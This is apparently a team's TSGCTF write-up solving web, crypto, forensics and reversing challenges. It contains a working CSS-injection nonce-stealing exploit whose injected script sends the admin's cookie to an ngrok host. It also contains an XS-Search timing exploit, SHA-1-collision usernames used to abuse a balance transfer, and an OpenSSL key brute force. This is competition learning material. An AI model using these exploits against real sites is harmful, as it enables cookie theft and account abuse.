Japanese version: https://hackmd.io/s/rk-iwwpo4
CSS injection and XSS.
FLAG is in admin's cookie.
Injecting evil css containing attribute-selector, we can steal nonce
attribute of script
tag.
<script nonce=<?= $nonce ?>>
console.log('Welcome to the dungeon :-)');
</script>
With a nonce, we can inject XSS code and bypass CSP restriction, because the nonce used multiple times.
session_start();
$nonce = md5(session_id());
Exploit is below:
<?php
if (array_key_exists("save", $_GET)) {
file_put_contents("flag.txt", $_GET["save"] . PHP_EOL, LOCK_EX | FILE_APPEND);
}
else if (array_key_exists("nonce", $_GET)) {
$nonce = file_get_contents("nonce.txt");
if (strlen($nonce) < strlen($_GET["nonce"])) {
file_put_contents("nonce.txt", $_GET["nonce"], LOCK_EX);
}
}
else if (array_key_exists("css", $_GET)) {
header("Content-Type: text/css");
echo("script { display: block }" . PHP_EOL);
$nonce = file_get_contents("nonce.txt");
$chars = str_split("0123456789abcdef");
foreach ($chars as $c1) {
foreach ($chars as $c2) {
$x = $nonce . $c1 . $c2;
echo("[nonce^='" . $x . "'] { background: url(http://cf07fd07.ap.ngrok.io/?nonce=" . $x . ") }" . PHP_EOL);
}
}
}
else if (array_key_exists("go", $_GET)) {
$nonce = file_get_contents("nonce.txt");
if (strlen($nonce) < 32) {
header("Location: http://35.187.214.138:10023/?q=%3Clink%20rel%3D%22stylesheet%22%20href%3D%22http%3A%2F%2Fcf07fd07.ap.ngrok.io%2F%3Fcss%3D" . microtime(true) . "%22%3E");
}
else {
header("Location: http://35.187.214.138:10023/?q=%3Cscript%20nonce%3D%22" . $nonce . "%22%3Efetch(%22http%3A%2F%2Fcf07fd07.ap.ngrok.io%2F%3Fsave%3D%22%20%2B%20encodeURIComponent(document.cookie))%3C%2Fscript%3E");
}
}
else if (array_key_exists("start", $_GET)) {
file_put_contents("nonce.txt", "", LOCK_EX);
file_put_contents("flag.txt", "", LOCK_EX);
?>
<html>
<body>
<script>
setInterval(() => {
const iframe = document.createElement("iframe");
iframe.src = `?go=${(new Date).getTime()}`;
document.body.appendChild(iframe);
}, 256);
</script>
</body>
</html>
<?php
}
else {
echo("E R R O R !");
}
?>
Then, report URL of this code.
Admin's browser will execute an evil code and send FLAG to our server.
SHA-1 collision (SHAttered).
Earn much balance to get the FLAG.
get '/api/flag' do
return err(401, 'login first') unless user = session[:user]
hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)}
res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_user
row = res.next
balance = row && row[0]
res.close
return err(401, 'login first') unless balance
return err(403, 'earn more coins!!!') unless balance >= 10_000_000_000
json({flag: IO.binread('data/flag.txt')})
end
Transferring balance to oneself causes unexpected doubling of balance, but this request is prohibited.
Database retains SHA-1 hashed value of username as an user's ID, but /api/transfer
compares username to check whether the receiver is same as the sender or not.
post '/api/transfer' do
return err(401, 'login first') unless src = session[:user]
return err(400, 'bad request') unless dst = params[:target] and String === dst and dst != src
return err(400, 'bad request') unless amount = params[:amount] and String === amount
return err(400, 'bad request') unless amount = amount.to_i and amount > 0
sleep 1
hashed_src = STRETCH.times.inject(src){|s| Digest::SHA1.hexdigest(s)}
hashed_dst = STRETCH.times.inject(dst){|s| Digest::SHA1.hexdigest(s)}
res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_src
row = res.next
balance_src = row && row[0]
res.close
return err(422, 'no enough coins') unless balance_src >= amount
res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_dst
row = res.next
balance_dst = row && row[0]
res.close
return err(422, 'no such user') unless balance_dst
balance_src -= amount
balance_dst += amount
DB.execute 'UPDATE account SET balance = ? WHERE user = ?', balance_src, hashed_src
DB.execute 'UPDATE account SET balance = ? WHERE user = ?', balance_dst, hashed_dst
json({amount: amount, balance: balance_src})
end
Therefore, a pair of different usernames which have same SHA-1 hash value breaks this application.
We can easily generate such pair of usernames using SHAttered PDF.
Such like this:
<?php
$s1 = file_get_contents("shattered-1.pdf");
$s2 = file_get_contents("shattered-2.pdf");
$t1 = substr($s1, 0, 320) . "narusejun";
$t2 = substr($s2, 0, 320) . "narusejun";
echo(sha1($t1) . PHP_EOL);
echo(sha1($t2) . PHP_EOL);
function toStr($c) {
$i = ord($c);
if ($c == '"') {
return '\\"';
}
if ($c == '%') {
return '%%';
}
if ($i < 0x20) {
return sprintf("\\u%04x", $i);
}
if ($i < 0x7F) {
return $c;
}
return sprintf("\\x%02x", ord($c));
}
$u1 = implode(array_map(toStr, str_split($t1)));
$u2 = implode(array_map(toStr, str_split($t2)));
echo($u1 . PHP_EOL);
echo($u2 . PHP_EOL);
?>
Now, we can double our balance again and again, and obtain a FLAG.
XS-Searching.
Use XSS Auditor to know admin's secret information.
We can inject arbitrary HTML codes into profile page, but any script will be blocked by CSP.
If we report suspicious user, then admin checks that user's page.
We can embed IFRAME into that page, so we can make admin's browser jump to any URL.
The profile page also have answer for secret question … as a JavaScript code!
🍇 <input type="checkbox" id="grapes" onchange="grapes.checked=false;" >
🍈 <input type="checkbox" id="melon" onchange="melon.checked=true;" >
🍉 <input type="checkbox" id="watermelon" onchange="watermelon.checked=true;" >
🍊 <input type="checkbox" id="tangerine" onchange="tangerine.checked=true;" >
🍋 <input type="checkbox" id="lemon" onchange="lemon.checked=false;" >
🍌 <input type="checkbox" id="banana" onchange="banana.checked=false;" >
🍍 <input type="checkbox" id="pineapple" onchange="pineapple.checked=true;" >
🍐 <input type="checkbox" id="pear" onchange="pear.checked=false;" >
🍑 <input type="checkbox" id="peach" onchange="peach.checked=false;" >
🍒 <input type="checkbox" id="cherries" onchange="cherries.checked=false;" >
🍓 <input type="checkbox" id="strawberry" onchange="strawberry.checked=false;" >
🍅 <input type="checkbox" id="tomato" onchange="tomato.checked=false;" >
🥥 <input type="checkbox" id="coconut" onchange="coconut.checked=false;" >
🥭 <input type="checkbox" id="mango" onchange="mango.checked=false;" >
🥑 <input type="checkbox" id="avocado" onchange="avocado.checked=false;" >
🍆 <input type="checkbox" id="aubergine" onchange="aubergine.checked=true;" >
🥔 <input type="checkbox" id="potato" onchange="potato.checked=true;" >
🥕 <input type="checkbox" id="carrot" onchange="carrot.checked=true;" >
🥦 <input type="checkbox" id="broccoli" onchange="broccoli.checked=false;" >
🍄 <input type="checkbox" id="mushroom" onchange="mushroom.checked=true;" >
In this page, the header X-XSS-Protection: 1; mode=block
is sent. So XSS Auditor is working as block mode.
XSS Auditor inhibits loading this page with query such like ?onchange="grapes.checked=false;"
.
This behavior is undesirable, because it may be a risk of information leaks.
Then, we made an evil page, which contains two IFRAMEs.
IFRAME loads self-profile page with query, ?onchange="grapes.checked=true;"
and ?onchange="grapes.checked=false;"
.
Measuring loading time of two frames, we are able to know which frame is blocked –- in other words, this is which checkbox is checked.
Exploit script:
<?php
if(array_key_exists("save", $_GET)){
file_put_contents("save.txt", $_GET["save"] . PHP_EOL, FILE_APPEND | LOCK_EX);
echo("OK!");
}else{
?>
<html>
<body>
<script>
function test(key, val){
return new Promise(function(resolve){
const iframe = document.createElement("iframe");
iframe.onload = function(){
iframe.remove();
resolve([key, val, new Date().getTime() - time]);
};
iframe.src = `http://34.97.74.235:10033/profile?onchange="${key}.checked=${val};"`;
const time = new Date().getTime();
document.body.appendChild(iframe);
});
}
(async () => {
const results = [];
for(let i = 0; i < 1; i++){
results.push([
await test("mushroom", true),
await test("mushroom", false),
]);
}
location.href = "?save=" + results;
})();
</script>
</body>
</html>
<?php
}
?>
With that information, we can view admin's secret message (FLAG).
Fortunately, we know a very similar problem: hxpCTF2017 flea.
When we decide the
We hold this constraints and manage DFS to decide bits of
The below program will be end in a few minute.
X = 95035(...)51960
N = 24746(...)09489
E = 65537
C = 38292(...)05157
def extgcd(a,b)
g,x,y = a,1,0
if b != 0
o = extgcd(b,a%b)
g = o[:g]
x = o[:y]
y = o[:x] - (a/b)*x
end
return {g:g, x:x, y:y}
end
def modinv(a,m)
o = extgcd(a,m)
x = o[:x]
x += m if x < 0
return x
end
BITS = 4096
ansp, ansq = -1, -1
stack = []
stack.push([0,0,0])
cnt = 0
while stack.length > 0
cnt += 1
if cnt % 100000 == 0
puts "cnt=#{cnt}: stack=#{stack.length}"
end
x,y,i = stack.pop
if x*y==N
ansp, ansq = x, y
break
end
next if i==BITS
v = (X>>i) & 1
for dx in [0,1]
for dy in [0,1]
next if (dx^dy) != v
nx = x + (dx<<i)
ny = y + (dy<<i)
msk = (1<<(i+1))-1
next if ((nx*ny)&msk) != (N&msk)
stack.push([nx,ny,i+1])
end
end
end
puts ansp
puts ansq
# ansp = 58349(...)66043
# ansq = 42410(...)83523
D = modinv(E, (ansp-1)*(ansq-1))
F = C.pow(D,N)
puts [F.to_s(16)].pack("H*")
TSGCTF{Absolutely, X should be 'S' in 'OPQRX'.}
Chinese Reminder Theorem on
In this problem, we know add/sub/mul/div/mod operations for Eisenstein Integer, so we use them to reconstruct flag.
Because of my misunderstanding or bugs, some of calculation results go wrong. So we fix them by hand(take one of
require_relative 'params'
def to_complex(x)
a, b = x
w = Math::E ** Complex(0, Math::PI*2.0/3.0)
a + b*w
end
def add(x, y)
a, b = x
c, d = y
[a+c, b+d]
end
def sub(x, y)
a, b = x
c, d = y
[a-c, b-d]
end
def mul(x, y)
a, b = x
c, d = y
[a*c - b*d, a*d + b*c - b*d]
end
def div(x, y)
xc, yc = to_complex(x), to_complex(y)
a, b = (xc / yc).rect
[(a + b/Math.sqrt(3)).round, (b*2.0/Math.sqrt(3)).round]
end
def mod(x, y)
# many times...
100.times do
k = div(x, y)
x = sub(x, mul(k, y))
end
x
end
$units = [[1,0],[-1,0],[0,1],[0,-1],[1,1],[-1,-1]]
def extgcd(a,b)
g = a
x = [1,0]
y = [0,0]
if b != [0,0]
o = extgcd(b,mod(a,b))
g = o[:g]
x = o[:y]
y = sub(o[:x],mul(div(a,b),x))
end
return {g:g, x:x, y:y}
end
def modinv(a,m)
o = extgcd(a,m)
x = o[:x]
return x
end
N = PROBLEM.length
r = [0,0]
m = [1,0]
for i in 0...N
item = PROBLEM[i]
b = item[0]
md = item[1]
o = extgcd(m,md)
g = o[:g]
p = div(o[:x], g)
md = div(md, g)
tmp = mod(mul(sub(b,r),p),md)
if i == 1 || i == 4
tmp = mul(tmp,$units[1]) # ???
end
r = add(r,mul(m,tmp))
m = mul(m,md)
# check
puts "CHECK"
for j in 0..i
print "#{j}=#{PROBLEM[j][0] == mod(r,PROBLEM[j][1])},"
end
puts ""
end
f1,f2 = r
puts [f1.to_s(16)].pack("H*")
puts [f2.to_s(16)].pack("H*")
flag = f1 * (1<<(8*37)) + f2
puts [flag.to_s(16)].pack("H*")
TSGCTF{I_H34RD_S0ME_IN7EGERS_INCLUDI
NG_EISENSTEIN'S_F0RM_EUCL1DE4N_R1NG!}
TSGCTF{I_H34RD_S0ME_IN7EGERS_INCLUDING_EISENSTEIN'S_F0RM_EUCL1DE4N_R1NG!}
Using Error Level Analysis of Forensically, generated a slightly readable image.
Then, guessed hard.
We got a git local repository.
Viewing the commits, we detected the commit that contains flag
file.
So, we checkout this commit.
$ git checkout 84128ed
Change main.cr
for output flag
.
require "zlib"
flag = File.open("./flag", "r") do |f|
Zlib::Reader.open(f) do |inflate|
inflate.gets_to_end
end
end
puts flag
Execute.
$ crystal main.cr
TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master}
git gc
was extecuted, so we viewed .git/packed-refs
.
# pack-refs with: peeled fully-peeled sorted
072690c0aaf46bc7875b67d6323b8f8d2074aaca refs/heads/master
1c80e25f51797b19dfbdeb0e2831ebd9bba64ab8 refs/original/refs/heads/master
Checkout 1c80e25f
.
$ git checkout 1c80e25f
After that, the same as Obliterated File.
$ crystal main.cr
TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master_S0rry_f0r_m4king_4_m1st4k3_0n_th1s_pr0bl3m}
We got a ttf file.
As stated, we tried typing some flags.
Typing TSGCTF{flag}
, it is displayed as TSGCTF{flag} is incorrect
if flag
is incorrect.
We opened it by FontForge.
glyph346
is displayed as } is correct
.
glyph347
is displayed as } is incorrect
.
Viewing Element > Font Info > Lookups
, many ligatures are configured.
We've only to get what string is displayed as is correct
from this configurations.
We used fonttools.
$ pip install fonttools
$ ttx ffi.ttf
Search glyph00346
which is displayed as } is correct
.
<Lookup index="51">
<LookupType value="1"/>
<LookupFlag value="0"/>
<!-- SubTableCount=1 -->
<SingleSubst index="0" Format="2">
<Substitution in="a" out="glyph00102"/>
<Substitution in="b" out="glyph00113"/>
<Substitution in="braceright" out="glyph00346"/>
<Substitution in="c" out="glyph00114"/>
:
<Substitution in="z" out="glyph00323"/>
</SingleSubst>
</Lookup>
In a certain string, }
shows glyph00346
.
We focused on <Lookup index="51">
, and searched "51"
.
<ChainContextSubst index="51" Format="3">
<!-- BacktrackGlyphCount=1 -->
<BacktrackCoverage index="0" Format="1">
<Glyph value="glyph00140"/>
</BacktrackCoverage>
<!-- InputGlyphCount=1 -->
<InputCoverage index="0" Format="2">
<Glyph value="underscore"/>
<Glyph value="a"/>
<Glyph value="b"/>
:
<Glyph value="y"/>
<Glyph value="z"/>
<Glyph value="braceright"/>
</InputCoverage>
<!-- LookAheadGlyphCount=0 -->
<!-- SubstCount=1 -->
<SubstLookupRecord index="0">
<SequenceIndex value="0"/>
<LookupListIndex value="51"/>
</SubstLookupRecord>
</ChainContextSubst>
Next, search glyph00140
.
<Lookup index="130">
<LookupType value="1"/>
<LookupFlag value="0"/>
<!-- SubTableCount=1 -->
<SingleSubst index="0" Format="2">
<Substitution in="a" out="glyph00103"/>
:
<Substitution in="d" out="glyph00128"/>
<Substitution in="e" out="glyph00140"/>
<Substitution in="f" out="glyph00144"/>
:
<Substitution in="z" out="glyph00324"/>
</SingleSubst>
</Lookup>
In a certain string, e
shows glyph00140
.
After that, index="130"
→glyph00219
(n
)→…
So we got TSGCTF{ligature_state_machine}
.
Try typing the flag.
Decoded input
with the following script.
#include <assert.h>
#include <fcntl.h>
#include <linux/input.h>
#include <stdio.h>
#include <sys/time.h>
int main(void)
{
int fd = open("input", O_RDWR);
assert(fd != -1);
for (;;) {
struct input_event event;
assert(read(fd, &event, sizeof(event)) == sizeof(event));
if (event.type == 0x1 && event.value == 0x1) {
switch (event.code) {
case KEY_1:
putchar('1');
break;
case KEY_2:
putchar('2');
break;
case KEY_3:
putchar('3');
break;
case KEY_4:
putchar('4');
break;
case KEY_5:
putchar('5');
break;
case KEY_6:
putchar('6');
break;
case KEY_7:
putchar('7');
break;
case KEY_8:
putchar('8');
break;
case KEY_9:
putchar('9');
break;
case KEY_0:
putchar('0');
break;
case KEY_MINUS:
putchar('-');
break;
case KEY_EQUAL:
putchar('=');
break;
case KEY_Q:
putchar('q');
break;
case KEY_W:
putchar('w');
break;
case KEY_E:
putchar('e');
break;
case KEY_R:
putchar('r');
break;
case KEY_T:
putchar('t');
break;
case KEY_Y:
putchar('y');
break;
case KEY_U:
putchar('u');
break;
case KEY_I:
putchar('i');
break;
case KEY_O:
putchar('o');
break;
case KEY_P:
putchar('p');
break;
case KEY_LEFTBRACE:
putchar('(');
break;
case KEY_RIGHTBRACE:
putchar(')');
break;
case KEY_ENTER:
putchar('\n');
break;
case KEY_A:
putchar('a');
break;
case KEY_S:
putchar('s');
break;
case KEY_D:
putchar('d');
break;
case KEY_F:
putchar('f');
break;
case KEY_G:
putchar('g');
break;
case KEY_H:
putchar('h');
break;
case KEY_J:
putchar('j');
break;
case KEY_K:
putchar('k');
break;
case KEY_L:
putchar('l');
break;
case KEY_SEMICOLON:
putchar(';');
break;
case KEY_APOSTROPHE:
putchar('\'');
break;
case KEY_GRAVE:
putchar('`');
break;
case KEY_BACKSLASH:
putchar('\\');
break;
case KEY_Z:
putchar('z');
break;
case KEY_X:
putchar('x');
break;
case KEY_C:
putchar('c');
break;
case KEY_V:
putchar('v');
break;
case KEY_B:
putchar('b');
break;
case KEY_N:
putchar('n');
break;
case KEY_M:
putchar('m');
break;
case KEY_COMMA:
putchar(',');
break;
case KEY_DOT:
putchar('.');
break;
case KEY_SLASH:
putchar('/');
break;
case KEY_SPACE:
putchar(' ');
break;
case KEY_LEFTSHIFT:
printf("<shift>");
break;
case KEY_TAB:
printf("<tab>");
break;
case KEY_BACKSPACE:
printf("<bs>");
break;
default:
printf("<%d>", event.code);
}
//printf(": %lu\n", event.time.tv_sec);
}
}
close(fd);
}
The result was below.
rm /dev/ura<tab>
rm /dev/ra<tab>
<shift>lang-c date --utc <shift>. /dev/random
echo nyan <shift>.. /dev/ra<tab>
curl -<shift>o https'//www.openssl.org/source/openssl-1.1.1b.tar.gz
tar xzvf ope<tab>
cd ope<tab><tab>
vim cry<tab>ra<tab>rand<shift><89>unix.c
637<shift>gd17d621<shift>gd2d603<shift>gdd480<shift>gd30d'wq
vim cr<tab>ra<tab>ra<tab><shift><89>li<tab>
250<shift>gd2d'wq
./co<tab>
make -j 4
cd ..
<shift>ld<89>library<89>path-./ope<tab> ./ope<tab>app<tab>ope<tab>genrsa 1024 <shift>. key.pem
<shift>ld<89>library<89>path-./ope<tab> ./ope<tab>ap<tab>ope<tab>rsautl -encrypt -inkey key.<tab>-in fl<tab>-out encrypted
fd<bs>g 1
Formatted the result, guessing.
rm /dev/ura<tab>
rm /dev/ra<tab>
LANG=C date --utc > /dev/random (enter key tv_sec = 1556368668)
echo nyan >> /dev/ra<tab>
curl -O https://www.openssl.org/source/openssl-1.1.1b.tar.gz
tar xzvf ope<tab>
cd ope<tab><tab>
vim cry<tab>ra<tab>rand_unix.c
637Gd17d621Gd2d603Gdd480Gd30d:wq
vim cr<tab>ra<tab>ra<tab>_li<tab>
250Gd2d:wq
./co<tab>
make -j 4
cd ..
LD_LIBRARY_PATH=./ope<tab> ./ope<tab>app<tab>ope<tab>genrsa 1024 > key.pem (enter key tv_sec = 1556368884)
LD_LIBRARY_PATH=./ope<tab> ./ope<tab>ap<tab>ope<tab>rsautl -encrypt -inkey key.<tab>-in fl<tab>-out encrypted
fg 1
^C
With the given Dockerfile
, built the problem
image and started a container on it.
In the container, removed /dev/urandom
and /dev/random
and recreated /dev/random
with the following commands.
# rm /dev/urandom
# rm /dev/random
# LANG=C date --utc --date="@1556368668" > /dev/random
# echo nyan >> /dev/random
Following the decoding result, built a modified OpenSSL binary. However, re-modified get_time_stamp()
in crypto/rand/rand_unix.c
like that:
static uint64_t get_time_stamp(void)
{
return 1556368884;
}
Reading OpenSSL source codes, understood there were 3 factors randomizing the key.pem
generation, which were /dev/random
, the generating time and the generating process's ID.
The decoding result tells correct /dev/random
and the correct generating time, but the correct PID remained unknown.
Therefore, copied encrypted
into the container, and then did a blute-force attack with the following commands.
# for ((i = 0; i < 40000; i++)); do LD_LIBRARY_PATH=./openssl-1.1.1b ./openssl-1.1.1b/apps/openssl genrsa 1024 > key.pem && LD_LIBRARY_PATH=./openssl-1.1.1b ./openssl-1.1.1b/apps/openssl rsautl -decrypt -inkey key.pem -in encrypted -out flag-${i}.txt; done
# ls -lS | more
Finally, found the flag.
# cat flag-2936.txt
TSGCTF{openssl_genrsa_is_hardly_predictable}